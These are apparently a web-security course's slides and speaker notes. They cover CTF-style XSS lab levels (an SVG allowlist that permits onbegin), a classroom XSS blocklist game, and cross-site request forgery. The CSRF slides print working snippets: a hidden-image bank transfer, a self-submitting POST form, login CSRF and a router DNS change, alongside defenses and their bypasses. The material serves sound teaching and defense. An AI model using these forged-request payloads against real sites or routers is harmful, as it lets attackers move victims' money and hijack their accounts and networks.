The level 5 play code appears beside the level 4 flag on the lab site. Students enter it on the locked level page. Make the SVG document call labSolved() through an animation event. The editor allows opacity animations and misses an event attribute. Students have 9 minutes. The preview records a solve when it calls labSolved().
[ +] Level 5 checks SVG with an attribute allowlist.
The server checks SVG attributes against this allowlist. "animate": {"attributeName", "from", "to", "begin", "dur", "repeatCount", "fill", "onbegin"}, Only onbegin runs JavaScript. The validator rejects attributes that are absent from the list. allowed = SVG_ALLOWED.get(tag) unexpected = set(element.attrib) - allowed if unexpected: return f"The {tag} element cannot use the {sorted(unexpected)[0]} attribute." An allowlist fails when it explicitly permits an executable attribute. The validator also restricts animations to opacity inside a rect or circle. Check what each allowed attribute makes the browser do.
This is an excerpt of the actual validator in ctf-xss/app.py. The server parses the submitted markup as SVG. For each element, it looks up allowed attribute names and rejects names that are not on the list. The animate list includes attributeName, from, to, begin, dur, repeatCount, fill, and onbegin. The validator also requires opacity animation and a rect or circle parent. The dangerous point is that onbegin is itself an executable SVG event handler, so membership in this allowlist does not make it safe. Students still need to construct a well-formed SVG animation that satisfies the other checks. The correct defense is an SVG-aware allowlist that excludes executable attributes, with a separate upload origin as an additional boundary.
[ ?] XSS lab level 5 solution · locked
🔒
Open this solution with your level 5 flag.
unlock
This slide is locked. Type the password to reveal it.
[ ?] XSS lab level 5 solution · locked
🔒
Open this solution with your level 5 flag.
unlock
This slide is locked. Type the password to reveal it.
[ >] Level 6 reads a private demo code.
Make a saved message pass the visitor code to labSolved(code) . The visitor page has #demo-code and inserts the message as HTML. html = private_code + strip_script_tags(saved_message) http://165.22.35.184:54333/level6 Enter the play code shown beside the Level 5 flag. <article> <p>Fresh demo code: <code id="demo-code">[fresh code]</code></p> <h3>Support message</h3> <div>[saved message]</div> </article> The tree shows key nodes. <article> <p> <div> <code id="demo-code"> [saved message] [fresh code] You have 10 minutes. The preview shows your flag.
The level 6 play code appears beside the level 5 flag on the lab site. Students enter it on the locked level page. Make a saved message pass the visitor code to labSolved(code). The visitor page has #demo-code and inserts the message as HTML. The HTML excerpt shows a fresh code in a code element and an untrusted saved message in a div. The diagram shows the relevant nodes after parsing; the page also contains headings and a paragraph. The bracketed values are placeholders, not literal page content. Students have 10 minutes. The preview records a solve only when the message passes the visitor code to labSolved(code).
[ ?] XSS lab level 6 solution · locked
🔒
Open this solution with your level 6 flag.
unlock
This slide is locked. Type the password to reveal it.
[ ?] XSS lab level 6 solution · locked
🔒
Open this solution with your level 6 flag.
unlock
This slide is locked. Type the password to reveal it.
[ >] XSS Arena: one payload faces every defense.
http://165.22.35.184:54334/ Choose one nickname and keep the same browser for the whole game. PREPARATION Build your blocklist shield. Write keyword or RE2 blocking rules. Harmless text like “this is onerror” must pass. Preparation has no timer. ATTACK Find a crack. Launch payloads throughout the attack phase. labSolved() The judge tries browser actions. Every valid payload faces all other defenders. ONE PAYLOAD BROWSER PROOF ALL OTHER DEFENSES A proven payload may break some defenses and be blocked by others.
Students join the separate live arena at the shown URL using one nickname and the same browser. The instructor opens preparation, which has no countdown. Students may add any number of block-only rules, including rules with identical patterns. A rule can be a literal keyword blacklist or an RE2 regex. Students choose rule priority. A defense activates only if every harmless formatting example remains accepted. The test includes harmless sentences containing terms such as onerror; a broad onerror blacklist would reject those sentences. Adding a rule automatically tests and saves the stack. A failed change is discarded while the previous valid stack stays active. The instructor starts the attack phase manually. Students may submit payloads throughout that phase without an attempt quota. The isolated judge loads each payload in the unprotected page and tries a fixed sequence of browser actions. The payload must call labSolved() during that sequence; this game uses labSolved() with no code argument, unlike level 6. A browser-valid payload is then checked against every other player's frozen ordered rule stack. Students do not select a target. Invalid payloads earn no points.
[ >] XSS Arena: the judge exercises browser events.
The judge tries the same short sequence for every payload. 1. Load the page. onload / onerror Broken images fire error naturally. 2. Hover over it. onmouseenter The pointer enters a visible element. 3. Focus and type. onfocus / oninput Typing may also fire change. 4. Click an element. onclick A click may run its handler. The attack counts if an event makes the page call labSolved().
The arena judge uses one isolated Chromium page for each submitted payload. It first allows page-load and resource-error events to happen naturally. It then hovers over candidate elements, focuses controls, types into editable controls and moves focus away, and clicks a few elements. These real browser actions can fire onmouseenter, onmouseover, onfocus, oninput, onchange, onclick, and related handlers. The judge does not fabricate an error event on an ordinary div. The sequence is short and bounded, so students should build a payload that responds to one of these actions. A payload is valid if it calls labSolved() in the unprotected page during the sequence. External network requests remain blocked.
[ +] Each defender owns a 100-point pot.
ALL VALID ATTACKS ARE BLOCKED 100 The defender keeps 100 points. No one reached this defender. AT LEAST ONE ATTACK GETS THROUGH 0 for defender 50 + 50 for Bob and Cora Two distinct attackers split the 100 points. Only a proven first block spreads to the next round. PRIVATE RULE FIRST MATCH BLOCKS SHARED NEXT ROUND Untriggered rules stay private. Shared rules stay active, but you may reorder them. Watch live results at /board; review payloads at /review after the game. The instructor starts each attack and chooses when to finish the game.
For each round, a defender keeps 100 points if every browser-valid payload is blocked. If any distinct attacker reaches that defender, the defender earns zero from that pot, and the 100 points are divided equally among distinct successful attackers. In the diagram, Bob and Cora each receive 50 points. Multiple successful payloads by the same attacker still count as one attacker for this defender. Only a private rule that was the first matching rule to block a browser-valid attack becomes shared next round. An untriggered private rule stays private. Everyone must keep shared rules active, but may reorder them around their own rules. The projector board shows arrows for small groups and an attack ticker for larger groups. After each round settles, the instructor starts another round or finishes the game; no round count is preset. Finishing opens the complete rule and payload review at /review. The admin page also has a reset button for a new class.
? XSS needed the attacker’s code inside chase.com. Can evil.io hurt you without getting any code into chase.com at all?
Remember the same-origin wall: evil.io cannot read chase.com. But it can still send requests, and the browser attaches your cookie.
[ +] What happens when a request starts on another site?
This is your browser. This is the internet. This is chase.com’s server. Request forgery hits step 4. 1 You type a URL. 2 DNS finds the server. 3 TLS locks the channel. 4 The request goes out. 5 The code runs. 6 It asks the database. 7 The page comes back. 8 The browser runs it. Step 4 again, but this time the request starts on a different site.
Cross-site scripting needed the attacker’s code inside chase.com’s page. The last attack needs much less. Back to step four: what happens when a page on one site sends a request to another site?
[ !] Any page can make your browser send GET or POST
GET reads. Its data rides in the URL, in history and in logs. POST changes something. Its data rides in the body. Any page, on any site, can make your browser send both: <img src="https://www.chase.com/..."> A GET, as soon as the page loads. <form method="POST" action="https://www.chase.com/..."> form.submit() A POST, with no click at all. fetch("https://www.chase.com/...", {method: "POST"}) Any method, from a script. Sending a request to another site is easy and normal. Request forgery is built on exactly this.
We met GET and POST before SQL injection. Now the part that matters for request forgery. GET is meant to read; its data rides in the URL, so it ends up in history and logs. POST is meant to change something; its data rides in the body. Now the part that matters for security: any page, on any site, can make your browser send both. An image tag sends a GET as soon as the page loads. A form can send a POST, and one line of script submits it without a click. And fetch can send any method. Sending a request to another site is easy and normal, and request forgery is built on exactly this.
[ !] A cross-site request may carry an eligible cookie
Chase Accounts https://www.chase.com/accounts Balance: $1,250 Free gift card! https://evil.io/free-gift Claim your free gift card! <img src="https://www.chase.com/..."> GET /accounts GET /transfer?... Both requests arrive with Alice’s cookie. An eligible Chase cookie goes to Chase, even when evil.io starts the request.
Alice has two tabs: chase.com and a free-gift-card page on evil.io. The Chase page asks Chase for her accounts, and the browser attaches her Chase cookie. The evil.io page contains an image whose address is on Chase. This example assumes Alice’s cookie permits cross-site subrequests, such as SameSite=None; Secure. The browser fetches that Chase URL and attaches the eligible cookie to the request to Chase. evil.io does not receive the cookie value. If the cookie were SameSite=Lax, it would not ride on this cross-site image request. Request forgery depends on what the browser is allowed to send.
[ !] evil.io can send a form but cannot read the reply
Assume the Chase cookie permits cross-site POST requests. This is evil.io’s page. This is chase.com. POST /transfer Cookie: session=8f3a... The form sends the eligible cookie. Balance: $1,200 Reading the answer is blocked. The wall stops evil.io from reading. It does not stop the request from arriving. If the request alone moves money, the damage is already done. The same-origin policy blocks the read. SameSite separately controls the cookie.
So what does the same-origin policy actually forbid? This example assumes Alice has a Chase cookie that permits cross-site POST requests, such as SameSite=None; Secure. evil.io submits a form POST to chase.com, and the browser sends that eligible cookie to Chase. A cross-site fetch would need credentials: include, and SameSite=Lax would normally keep the cookie off this cross-site POST. Chase answers, but the browser hides that answer from evil.io’s script. If the request alone moves money, blocking the read is too late. Request forgery lives in this gap between sending and reading.
[ +] Cookies follow a looser rule than origins
A cookie set with Domain=chase.com goes to: www.chase.com secure.chase.com blog.chase.com old-promo.chase.com chase.com.evil.io Cookies are older than the origin rule, and they ignore the port, and the scheme unless Secure. A forgotten subdomain with one bug can read or set cookies for the whole site. Cookies follow a looser rule than origins. Attackers love the gap.
One wrinkle that attackers love. Cookies are older than the same-origin policy and follow a looser rule. A cookie set for chase.com goes to www, to secure, to blog, to every subdomain, even an old promo site nobody maintains. It ignores the port, and the scheme unless it is Secure. A look-alike such as chase.com.evil.io is evil.io’s host, so it never gets the cookie. The consequence: one forgotten subdomain with one bug can read or set cookies for the whole site.
[ +] A page may show other sites but not look inside
A page may show content from other sites, without reading it: <img src="https://www.chase.com/logo.png"> The image shows up. evil.io cannot read its pixels. <iframe src="https://www.chase.com/"> The whole page shows up. evil.io cannot look inside it. <script src="https://cdn.example/lib.js"> The script runs as part of evil.io, with evil.io’s powers. <form action="https://www.chase.com/..."> The form submits. That is the sending we just saw. Showing is allowed and reading is not. Clickjacking abuses the frame row; CDN attacks abuse the script row.
The wall allows one more thing: embedding. evil.io may show an image from chase.com, but cannot read its pixels. It may show a whole chase.com page in a frame, but cannot look inside it. A script from another site runs as part of evil.io’s page, with evil.io’s powers. And a form can submit to chase.com. Showing is allowed and reading is not. Clickjacking abuses the frame row, and supply-chain attacks on scripts abuse the third.
[ !] Or skip the wall, and send your cookie along
This is chase.com’s page. This is its database. This is evil.io. 1 1 Cross-site scripting puts the attacker’s script inside the page, where the wall trusts it. 2 2 Request forgery can send an eligible cookie from outside. Sending a form is allowed. 3 3 SQL injection sends the attacker’s text to the database, behind the wall. Request forgery never gets inside chase.com. It needs one state-changing request with an eligible cookie.
Back to the wall. Cross-site scripting got inside. SQL injection went behind it. The last path is different: evil.io cannot read a Chase answer, but it can submit a form to Chase. If Alice’s session cookie is eligible on that cross-site request, the browser attaches it. SameSite controls that cookie decision; the same-origin policy separately blocks evil.io from reading the answer.
[ Attack 3 of 3 ]
Request forgery borrows your login
evil.io makes your browser send a request to chase.com, with your cookie, and chase.com obeys. No code ever enters chase.com.
The last attack of the unit is cross-site request forgery, shortened to CSRF and often pronounced sea-surf. Unlike the other two, the attacker gets no text into a query and no code into a page. The attacker only makes your browser send one request, and your browser adds your login to it.
[ +] Three facts add up to an attack
The browser attaches chase.com’s cookie to every request to chase.com. Whichever page started it. The wall stops evil.io from reading chase.com. It does not stop evil.io from sending. A page can send a GET with an image, and a POST with a form. The form can submit itself. A page on evil.io. POST /transfer Alice’s browser adds her cookie. chase.com sees a valid session. The attacker never sees the cookie, the page, or the answer, and does not need to.
Three facts from the last few slides, and you already have this attack. One: the browser attaches chase.com’s cookie to every request to chase.com, no matter which page started it. Two: the wall stops evil.io from reading chase.com, but not from sending to it. Three: a page can send a GET with an image, and a POST with a form that submits itself. Put them together: a page on evil.io sends a request to chase.com, Alice’s browser adds her cookie, and chase.com sees a valid session and does what the request says. The attacker never sees the cookie, the page, or the answer, and does not need to.
? Alice is logged in to DemoBank in one tab. In another tab she opens a page about a free gift card. What can that page do?
The gift card page is on evil.io. It contains one image tag that nobody can see.
[ x] One invisible image moved Alice’s money
Free gift card! ! http://evil.io/gift-img.html Claim your free $100 gift card! Please wait while we check your eligibility... <img src="http://localhost:8001/transfer?to=mallory&amount=500" style="display:none"> The page hides one image whose address is DemoBank’s transfer URL. DemoBank, on purpose, moves money on a GET. real output: what DemoBank received DemoBank log: GET /transfer?to=mallory&amount=500 Referer: http://127.0.0.1:9000/ Sec-Fetch-Site: cross-site Cookie sent: yes This is Alice’s real dashboard afterwards. The browser fetched the image, attached Alice’s DemoBank cookie, and DemoBank moved $500 to mallory. Alice saw a gift card page. The image failed to load, and nobody noticed. evil.io runs on 127.0.0.1:9000 in my demo, a different site from localhost:8001.
Here it is against DemoBank. The gift card page on evil.io contains one hidden image whose address is DemoBank’s transfer URL; DemoBank, on purpose, moves money on a GET. Alice opens the page. Her browser fetches the image, attaches her DemoBank cookie, and DemoBank moves 500 dollars to mallory. This is the real log of what DemoBank received, with the cookie, and her real dashboard afterwards. Alice saw a gift card page; the image failed to load, and nobody noticed. In my demo, evil.io runs on 127.0.0.1 port 9000, which the browser treats as a different site from localhost. One note: for this first demo I set the cookie the way every browser treated cookies before 2020. We will see what changed in 2020, and test it, in the defenses.
[ x] The browser is a confused deputy
This is Alice’s browser. This is evil.io. This is chase.com. 1. POST /login -> Set-Cookie: sid=8f3a... 2. GET /free-gift 3. It returns a page with a hidden form or image. 4. POST /transfer to=mallory&amount=500 Cookie: sid=8f3a... 5. 200 OK Transfer complete. The browser is a confused deputy. It holds Alice’s authority and uses it for whoever asks. chase.com checks that the request carries Alice’s cookie. It does. It never checks whether Alice meant to send it. That is cross-site request forgery: the request is real, the cookie is real, and the intent is forged. Suman’s slides called the browser a confused deputy carrying your cookies. The term is from Norm Hardy, 1988.
The general picture. One: Alice logs in to chase.com and gets a cookie. Two: later she visits evil.io. Three: evil.io returns a page with a hidden form or image. Four: her browser sends the forged request to chase.com, with her cookie. Five: chase.com says transfer complete. The browser is what security people call a confused deputy, a term from Norm Hardy in 1988: it holds Alice’s authority and uses it for whoever asks. chase.com checks that the request carries Alice’s cookie, and it does. It never checks whether Alice meant to send it. The request is real, the cookie is real, and only the intent is forged.
[ x] Moving money only on POST does not stop it
Defense 0: the bank moves money only on POST. The attacker uses a hidden form. <form id="f" method="POST" action="http://localhost:8001/transfer"> <input type="hidden" name="to" value="mallory"> <input type="hidden" name="amount" value="500"> </form> <script> f.submit() </script> The form submits itself the moment the page loads. Alice never clicks. It can also go into a hidden frame, so Alice stays on the gift page. POST /transfer Origin: http://127.0.0.1:9000 to=mallory&amount=500 Using POST for changes is still right: it stops image tags, links, and prefetching. It just does not stop forms. A request that changes something must prove that the user meant it. The cookie proves who the user is. It says nothing about which page sent the request. Every defense ahead is a different answer to one question: How can chase.com tell a request from its own page apart from a request from evil.io? Before that, three real cases and two variants.
The obvious defense: move money only on POST. The attacker uses a hidden form whose fields are filled in, and one line of script submits it the moment the page loads. Alice never clicks; it can even happen inside a hidden frame so she stays on the gift page. Using POST for changes is still right, since it stops image tags, links and prefetching, but it does not stop forms. The real requirement: a request that changes something must prove that the user meant it. The cookie proves who the user is, not which page sent the request. Every defense ahead answers one question: how can chase.com tell a request from its own page apart from one from evil.io?
[ x] In 2008, CSRF worked on a bank and on YouTube
In 2008, Zeller and Felten at Princeton found working CSRF attacks on four big sites. ING Direct is a bank. Forged requests opened a new account for the victim, added the attacker as a payee, and moved money. HTTPS did not help. YouTube is a video site. Nearly every action could be forged with an image tag: add friends, add favorites, subscribe, and share videos. MetaFilter is a forum. An image tag changed the account’s email address. Then the lost-password page mailed the password to the attacker. The Times is a newspaper. The Email This feature worked on a GET, so an image tag made the site send the victim’s email address to the attacker. They called the ING attack the first published CSRF attack on a financial institution. Every site fixed its bug after the report. The attack needs no bug in the browser and no skill, only a page. Source: W. Zeller and E. Felten, Cross-Site Request Forgeries: Exploitation and Prevention, 2008.
Real cases. In 2008, William Zeller and Edward Felten at Princeton found working CSRF on four big sites. At ING Direct, a bank, forged requests opened a new account for the victim, added the attacker as a payee, and transferred money; HTTPS made no difference. At YouTube, nearly every action could be forged with an image tag: friends, favorites, subscriptions, sharing. At MetaFilter, an image tag changed the account’s email address, and then the lost-password page mailed the password to the attacker. At the New York Times, the email-this-article feature worked on a GET, so an image tag made the site send the victim’s email address to the attacker. They called ING the first published CSRF attack on a financial institution.
[ x] A forged mail filter can steal a domain
September 2007. A researcher publishes a CSRF in Gmail: a page on any site could create a mail filter in your account. The filter works like this. Forward every email to an outside address, then delete it from the inbox. The victim sees nothing. November 2007. Designer David Airey’s domain is moved to another registrar. The transfer emails were forwarded away by a Gmail filter Airey never made. December 2007. The thief asks for money to give the domain back. Airey gets it back through the registrar after a blog post about it goes viral. A forged request creates a filter: POST /mail/... action=create_filter from=* forward_to=thief@... delete=true Cookie: (the victim’s Gmail) One forged request plants a rule that keeps working for months, long after the victim leaves the page. The request fields are a sketch. Airey blamed the Gmail CSRF. Google later said that bug was fixed within a day of being reported, and that no Gmail bug was involved in this case. So the story is disputed. The lesson holds either way: a forged request that changes a setting can do damage for months. Sources: davidairey.com, December 2007; Google Online Security Blog, November 2008.
A story that shows why settings are the dangerous target. In September 2007, a researcher published a CSRF in Gmail: a page on any site could create a mail filter in your account, for example forward every email to an outside address and delete it. In November 2007, designer David Airey’s domain was transferred away; the confirmation emails had been forwarded by a Gmail filter Airey never created. The thief asked for money to give it back, and Airey recovered it through the registrar after a blog post about it went viral. Now the honest part: Airey blamed the Gmail CSRF, but Google later said that bug was fixed within a day of being reported, and that no Gmail bug was involved in this case. So it is disputed. The lesson holds either way: one forged request that changes a setting, like a forwarding rule or a recovery email, keeps working for months.
[ x] An attacker can log you in as the attacker
Variant: instead of acting as Alice, log Alice in as the attacker. <form method="POST" action="https://www.google.com/login"> <input name="user" value="[email protected] "> <input name="pw" value="attacker-password"> </form><script>document.forms[0].submit()</script> Alice is now logged in as the attacker. She keeps searching for medical questions, all saved in the attacker’s history. These are real examples from 2008: Google and Yahoo search history: the victim’s searches land in the attacker’s account. PayPal: a merchant logs the victim into the merchant’s account, so the card the victim adds lands there. This is login CSRF. The forged request is the login itself. Defenses that only protect logged-in actions miss it, because the login form has no session yet. The fix is the same as for any other form: the login request must also prove it came from the site’s own page. Barth, Jackson, and Mitchell named it in 2008, in the paper that also proposed the Origin header. The Origin header is one of the defenses we test soon. Source: A. Barth, C. Jackson, J. Mitchell, Robust Defenses for Cross-Site Request Forgery, CCS 2008.
A clever variant. Instead of acting as Alice, the attacker logs Alice in as the attacker: a hidden form posts the attacker’s own user name and password to the login page. Alice is now logged in as the attacker without noticing. She keeps searching for medical questions, and they are all saved in the attacker’s search history. In 2008 this worked on Google and Yahoo search history, and on PayPal, where a merchant could log a buyer into the merchant’s account so that the card the buyer added landed there. This is login CSRF. Defenses that only protect logged-in actions miss it, because the login form has no session yet. Barth, Jackson and Mitchell named it in 2008, in the same paper that proposed the Origin header, one of today’s defenses.
[ x] A web page can reconfigure your home router
This is your home network: This is your laptop. 192.168.1.1 This is your router. evil.io You open an ad or a page. POST http://192.168.1.1/dns dns=6.6.6.6 (admin:admin) The page in your browser sends the request. Your browser can reach the router, and evil.io cannot. Researchers called it drive-by pharming in 2007. Stamm, Ramzan, and Jakobsson showed that a page can log in to a home router with its default password and change its DNS server. Every site you visit afterwards can be answered by the attacker’s DNS server. They cited a survey that half of home routers used a default or empty password. Criminals used it in the wild in 2016. Proofpoint found the DNSChanger exploit kit in ads on normal sites. It found the router’s address, recognized 166 router models, and changed their DNS. At least 56,000 routers were changed. Since Chrome 142 in 2025, a public page must ask before it fetches from your local network.
A variant with no cookie at all. Your router sits at 192.168.1.1 inside your home, where evil.io cannot reach it. But your browser can. A page you open sends a request to the router’s admin page, with the default password admin admin, and changes its DNS server to the attacker’s. From then on, every site you visit can be answered by the attacker. In 2007, Stamm, Ramzan and Jakobsson called this drive-by pharming and cited a survey that half of home routers used a default or empty password. In 2016 Proofpoint found it in the wild: the DNSChanger exploit kit, delivered through ads on normal sites, recognized 166 router fingerprints and changed at least 56 thousand routers. In 2025, Chrome 142 started asking for permission before a public page may fetch from your local network, explicitly to stop this; a full-page navigation, such as a top-level form post, is not covered yet.
[ Attack 3 of 3: defenses ]
Every CSRF defense met a bypass
Check where the request came from, require a secret the attacker cannot read, or stop sending the cookie.
The defenses. Every one of them tries to answer the same question in a different way: did this request come from chase.com’s own page? Each one has a way around it, and DemoBank lets us test most of them for real.
[ +] Checking the Referer header has gaps
Defense 1: the bank checks the Referer header, which names the page that sent the request. DemoBank log for the forged POST: Referer: http://127.0.0.1:9000/ if not request.headers.get("Referer", "").startswith("https://www.chase.com/"): reject() The browser writes the Referer, so evil.io’s page cannot fake it. That part works. The Referer is often missing. In 2008, Barth and others measured it missing for 3 to 11 percent of users over HTTP, removed by proxies and privacy tools. A site that rejects those breaks for real users. A site that accepts them lets the attacker in. The attacker can remove it. <meta name="referrer" content="no-referrer"> on evil.io makes the browser send no Referer at all. Then the forged request looks like a privacy-minded user. Sloppy checks match the wrong thing. A check for "chase.com" anywhere in the Referer also accepts https://chase.com.evil.io/ and https://evil.io/?chase.com. A strict Referer check over HTTPS still works, and it was Suman’s recommendation for banks. It is fragile.
Defense one: check the Referer header, which the browser fills with the page that sent the request. Our DemoBank log shows the forged POST arrived with Referer 127.0.0.1 port 9000, so a bank that only accepts its own pages would reject it, and evil.io cannot fake the header. But. The Referer is often missing: in 2008 Barth and colleagues measured it missing for 3 to 11 percent of users over HTTP, stripped by proxies and privacy tools; reject those and you break real users, accept them and you let attackers in. The attacker can remove it on purpose, with a referrer policy of no-referrer. And sloppy checks match the wrong thing: chase.com anywhere in the string also matches chase.com.evil.io. A strict check over HTTPS still works, which was Suman’s recommendation for banks, but it is fragile.
? What does chase.com’s own page know that a page on evil.io cannot know?
Think back to the same-origin wall. evil.io can send requests to chase.com, but it cannot read anything chase.com sends back.
[ +] A secret token proves the form came from the site
Defense 2: every form on DemoBank’s own page carries a random secret tied to the session. <form method="POST" action="/transfer_tok"> <input type="hidden" name="csrf" value="9b2f71c04ad35e8e1c6f02a4b7d3e015"> <input name="to"> <input name="amount"> <button>Send</button> </form> The server checks that the secret in the request matches the one it gave this session. It works like a ticket that only chase.com’s own page ever sees. evil.io tries to read the page to copy the token: Access to fetch at 'http://localhost:8001/pay' from origin 'http://127.0.0.1:9000' has been blocked by CORS policy So it guesses, and DemoBank refuses the forged POST: Both outputs are real. This is a CSRF token, or synchronizer token. The same-origin policy that let evil.io send the request also stops it from reading the token. The wall finally helps. Most frameworks add it to every form for you: Django, Rails, Laravel, Spring, and others.
Defense two is the classic fix. Every form on the bank’s own page carries a random secret, tied to the session, in a hidden field. The server accepts a change only if the secret in the request matches the one it handed to this session. Like a ticket only the bank’s own page ever sees. Can evil.io get it? It tries to read the payment page with fetch: the browser blocks the read, as the console says, because of the same-origin policy. So it guesses, and DemoBank rejects the forged POST; both outputs are real. Notice the twist: the same wall that let evil.io send the request is what stops it from reading the token. Django, Rails, Laravel, Spring and others add this to every form automatically.
[ x] Tokens fail when forgotten, leaked, or read by XSS
Bypasses of the token, from the most common to the most complete: The developer forgets one form, or protects POST but not a GET that changes state. The token only protects the requests that check it. The token is put in a URL, so it leaks through the Referer, logs, and browser history. A token in a link travels to every site the page links to. The token is not tied to the session, so the attacker uses one from their own account. The server must check that this token belongs to this user. An XSS anywhere on the site reads the token and sends the request itself. Samy’s worm did exactly this: it scraped MySpace’s token from the page before posting. XSS beats every CSRF defense, because the attacker’s code runs on chase.com’s own page. From the server’s point of view, that request really did come from its own page. That is why we studied XSS first.
Tokens fail in four ways. The developer forgets one form, or protects POST but leaves a state-changing GET. The token is put in a URL, so it leaks through the Referer, server logs and history. The token is not tied to the session, so the attacker simply uses a valid token from their own account. And the complete one: an XSS anywhere on the site reads the token from the page and sends the request itself. Samy’s worm did exactly that; it scraped MySpace’s token before posting. XSS beats every CSRF defense, because from the server’s point of view the request really did come from its own page. That is why we did XSS first.
[ +] The Origin header names the site that sent it
Defense 3: the bank checks the Origin header. It names only the site, never the path. real output DemoBank log, forged POST from the gift page: POST /transfer Origin: http://127.0.0.1:9000 DemoBank log, hidden image GET from the gift page: GET /transfer?to=mallory&amount=500 Origin: None Barth, Jackson, and Mitchell proposed it in 2008 to fix the Referer’s problems. Privacy tools leave it alone, because it carries no path. if origin != "https://www.chase.com": reject() These are the bypasses and gaps: Browsers do not send Origin on a plain GET from an image or link. So the check protects POST only. GET must never change state, again. Some requests carry Origin: null, from sandboxed frames, data: URLs, or some redirects. A server that allows null lets an attacker in through a sandboxed frame. Servers often allow requests with no Origin at all, to keep old clients working. Then any request the attacker can strip of its Origin passes. A strict Origin check on every state-changing request is a good defense. Combined with tokens it is better. Source for the Origin header: Barth, Jackson, Mitchell, CCS 2008, later RFC 6454.
Defense three: the Origin header, which Barth, Jackson and Mitchell proposed in 2008 to fix the Referer’s problems. It names only the site, never the path, so privacy tools leave it alone. Look at DemoBank’s real log: the forged POST arrived with Origin 127.0.0.1 port 9000, easy to reject. Now look at the hidden image GET: no Origin at all. Browsers do not send it on a plain GET from an image or a link, so the check protects POST only, and GET must never change state, again. Some requests carry Origin null, from sandboxed frames, data URLs or certain redirects; a server that allows null lets the attacker in through a sandboxed frame. And servers that allow a missing Origin, to keep old clients working, let in anything stripped of it.
? Every defense so far makes the server figure out where a request came from. What if the browser simply did not attach the cookie?
The root of CSRF is the browser attaching chase.com’s cookie to a request that evil.io started. That is a browser rule, so a browser rule can change it.
[ +] SameSite tells the browser to keep the cookie home
Defense 4: a SameSite attribute tells the browser when to leave the cookie at home. SameSite=Strict The cookie is never sent on a request that another site started, not even when you click a link to chase.com. SameSite=Lax The cookie is sent when you follow a link to chase.com with GET, and not on cross-site forms, images, or frames. SameSite=None The cookie goes everywhere, as before 2020. It must also be marked Secure. In 2020, Chrome changed the default. A cookie with no SameSite attribute is treated as Lax. Chrome 80 started it in February 2020, paused it in April because of COVID-19, resumed in July, and reached all Chrome users in August 2020. This one change of default protected millions of sites that had never heard of CSRF. But only Chrome and browsers built on it changed the default. As of 2026, Firefox and Safari still treat a cookie with no attribute as SameSite=None. Safari blocks third-party cookies in general, but a top-level form post is not third party. Sources: chromium.org SameSite updates; MDN browser compatibility data for Set-Cookie.
Defense four attacks the root. The browser attaching chase.com’s cookie to a request evil.io started is a browser rule, so change the rule. The SameSite cookie attribute. Strict: never send the cookie on a request another site started, not even when you click a link to chase.com, which logs you out in a confusing way. Lax: send it when you follow a link to chase.com with a GET, but not on cross-site forms, images or frames. None: send it everywhere, the old behavior. In 2020 Chrome changed the default: a cookie with no attribute is treated as Lax. Chrome 80 started in February 2020, paused in April because of COVID, resumed in July, and reached everyone in August. One default protected millions of sites that had never heard of CSRF. But only Chrome and browsers built on it changed the default; as of 2026, Firefox and Safari still treat a cookie with no attribute as None.
[ x] I tested SameSite against DemoBank for real
I tested every case with DemoBank and Chrome 155. evil.io sent each forged request. Did the cookie go along? The cookie was set like this. evil.io sent this request. Did the cookie go along? No attribute (Lax by default) evil.io loads a hidden image with GET. no No attribute (Lax by default) evil.io submits a POST form seconds after login. yes No attribute (Lax by default) evil.io submits it 2 minutes 28 seconds after login. no SameSite=Lax evil.io submits a POST form. no SameSite=Lax evil.io sends the whole tab to the transfer URL with GET. yes SameSite=None evil.io loads a hidden image with GET. yes Gap 1 is the two-minute window. Chrome sends a cookie with no attribute on a cross-site POST if the cookie is at most 2 minutes old, so single sign-on keeps working. It was meant to be temporary, and it is still there in 2026. Gap 2: Lax still sends GET navigations. If the site changes state on GET, as DemoBank does, Lax does not help. The attacker just sends the whole tab to the transfer URL. All six rows are real results from the request log.
I tested every case against DemoBank in Chrome 155. evil.io sent each forged request, and the bank logged whether the cookie came along. No attribute, which Chrome treats as Lax, and a hidden image: no cookie. Good. No attribute and an auto-submitting POST form a few seconds after login: yes, the cookie went along. The same form two and a half minutes after login: no. That is Chrome’s two-minute window: a cookie with no attribute is still sent on cross-site POSTs while it is at most two minutes old, so single sign-on flows keep working. It was meant to be temporary and is still there. With an explicit Lax: the POST form is blocked, but a script that sends the whole tab to the transfer URL with a GET carries the cookie, and since DemoBank moves money on GET, the money moves. And None behaves like the old web. Every row is a real result.
[ x] Same site is looser than same origin
Gap 3: SameSite means the same site, which is looser than the same origin. https:// blog. chase.com https:// www. chase.com For SameSite, these two are the same site, because the domain name chase.com matches. blog.chase.com An attacker who takes over any forgotten subdomain, or finds an XSS on it, sends requests that count as same-site. www.chase.com A forgotten subdomain often points at a cloud service the company stopped paying for. Anyone can claim it. This is called subdomain takeover. It also lets the attacker set cookies for chase.com, as we saw with cookie scope. So SameSite is a strong layer, not a complete fix: it has a two-minute window, it ignores GET navigations, it trusts every sibling subdomain, and two of the three major browsers do not turn it on by default. Sites set it explicitly and keep their tokens.
Gap three. SameSite means the same site, which is looser than the same origin. blog.chase.com and www.chase.com are different origins, but the same site, because the registered domain matches. So an attacker who takes over any forgotten chase.com subdomain, or finds an XSS on one, sends requests that count as same-site, and the cookie goes along. Forgotten subdomains are common: they point at a cloud service the company stopped paying for, and anyone can claim it. That is subdomain takeover. So SameSite is a strong layer, not a complete fix: a two-minute window, GET navigations, sibling subdomains, and two of three major browsers without the default. Sites set it explicitly and keep their tokens.
[ +] This timeline shows the whole CSRF race
The attacker moves here. The defender moves here. evil.io makes the browser send a request, and the cookie rides along. <img src="https://chase.com/transfer?to=mallory"> The bank changes state only on POST. Images and links can no longer move money. A hidden form submits itself. <script>f.submit()</script> The bank checks Referer, then Origin, then a secret token in every form. evil.io cannot read the token through the wall. Missing headers, forgotten forms, leaked tokens, and XSS that reads the token. XSS beats every one of them. Browsers stop sending the cookie: SameSite=Lax by default in Chrome since 2020. Set-Cookie: sid=...; SameSite=Lax The two-minute window, GET navigations, and sibling subdomains. Firefox and Safari still default to None. Sites combine a token, explicit SameSite, an Origin or Sec-Fetch check, and no state changes on GET.
The CSRF race on one slide. evil.io makes the browser send a request, and the cookie rides along. Banks change state only on POST. A hidden form submits itself. Banks check the Referer, then the Origin, then a secret token. Attackers use missing headers, forgotten forms, leaked tokens, and XSS that reads the token. Browsers stop sending the cookie, with SameSite Lax by default in Chrome since 2020. Attackers use the two-minute window, GET navigations, sibling subdomains, and the browsers that never changed their default. So real sites combine everything, and keep GET free of side effects.
? A token stops forged requests. What if the attacker gets Alice to make the real request herself?
